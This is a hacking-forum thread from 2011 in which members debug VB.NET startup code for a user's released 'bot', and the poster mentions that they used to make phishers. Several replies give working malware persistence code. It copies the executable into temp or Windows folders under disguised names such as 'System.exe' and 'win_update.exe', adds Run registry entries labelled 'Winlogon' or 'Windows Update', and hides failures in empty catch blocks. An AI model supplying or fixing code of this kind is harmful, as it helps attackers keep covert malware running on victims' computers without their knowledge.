Login Register






Startup filter_list
Author
Message
Startup #1
Hey Smile

Well... My bot that I released has a problem with registry startup, I think I tried to repair it for long enough to ask for help Biggrin

Well, here is the code:
Code:
If reg = True Then If temp = True Then If System.IO.File.Exists(Environ("temp") & "System.exe") = False Then IO.File.Copy(Application.ExecutablePath, Environ("temp") & "System.exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", Environ("temp") & "System.exe") regKey.Close() ElseIf win = True Then If System.IO.File.Exists(Environ("windir") & "System.exe") = False Then IO.File.Copy(Application.ExecutablePath, Environ("windir") & "System.exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", Environ("windir") & "System.exe") regKey.Close() ElseIf custom = True Then If System.IO.File.Exists(dir) = False Then IO.File.Copy(Application.ExecutablePath, dir & "System.exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", dir & "System.exe") regKey.Close() End If End If

Error is: Object reference not set to an instance of an object

Also, I'm not 100% sure its this Smile might be other thing, but I want to make sure, before I will completely recode everything Biggrin


Thanks alooooot!!!!

-gives a cookie-
Staff will never ever ask you for your personal information.
We know everything about you anyway.

Reply

RE: Startup #2
This should work. Normalized your code too. Smile

Code:
If reg = True Then Dim fLocation As String = String.Empty If temp = True Then fLocation = Environ("temp") & "System.exe" ElseIf win = True Then fLocation = Environ("windir") & "System.exe" ElseIf custom = True Then fLocation = dir & "System.exe" End If If System.IO.File.Exists(fLocation) = False Then IO.File.Copy(Application.ExecutablePath, fLocation) End If Dim regKey As New RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", fLocation) regKey.Close() End If
[Image: rytwG00.png]
Redcat Revolution!

Reply

RE: Startup #3
Thanks Smile Still can't figure out why my code didn't work Tongue but probably computers are more clever then we think and they saw its coded in dumb way Tongue
Staff will never ever ask you for your personal information.
We know everything about you anyway.

Reply

RE: Startup #4
You get that error 91 when your variable is not blank or it's not a new instance.

You had this:
Code:
Dim regKey As RegistryKey

Should be:
Code:
Dim regKey As New RegistryKey
[Image: rytwG00.png]
Redcat Revolution!

Reply

RE: Startup #5
(01-30-2011, 05:22 AM)Coder-san Wrote: You get that error 91 when your variable is not blank or it's not a new instance.

You had this:
Code:
Dim regKey As RegistryKey

Should be:
Code:
Dim regKey As New RegistryKey

wow thanks Smile I actually thought it would be other way around! Smile thanks!

EDIT: 'regkey has no contructors' ... What is causing that? I tried similar thing like with threading, but failed (ofc)
Code:
Dim t as thread t = New Thread(AdressOf sub)
Staff will never ever ask you for your personal information.
We know everything about you anyway.

Reply

RE: Startup #6
sad i can't help but think coder can...

btw the first code you can use

(environ("temp") & "\" & application.productname & ".exe")
Pierce the life fibers with your drill.

Reply

RE: Startup #7
Code:
Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try End Sub
try it and good luck :3
valar morghulis

Reply

RE: Startup #8
(01-30-2011, 12:57 PM)1llusion Wrote:
(01-30-2011, 05:22 AM)Coder-san Wrote: You get that error 91 when your variable is not blank or it's not a new instance.

You had this:
Code:
Dim regKey As RegistryKey

Should be:
Code:
Dim regKey As New RegistryKey

wow thanks Smile I actually thought it would be other way around! Smile thanks!

EDIT: 'regkey has no contructors' ... What is causing that? I tried similar thing like with threading, but failed (ofc)
Code:
Dim t as thread t = New Thread(AdressOf sub)

Hmm, yeah I didn't test that.

You can use this:

Code:
Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Winlogon", "C:\fil.exe")

For starting a Thread you need this:

Code:
CheckForIllegalCrossThreadCalls = False Dim t As New Threading.Thread(AddressOf YourSub) t.IsBackground = True t.Start()
[Image: rytwG00.png]
Redcat Revolution!

Reply

RE: Startup #9
thanks Smile

damn without you I would be still making simple phishers O.o Smile
Staff will never ever ask you for your personal information.
We know everything about you anyway.

Reply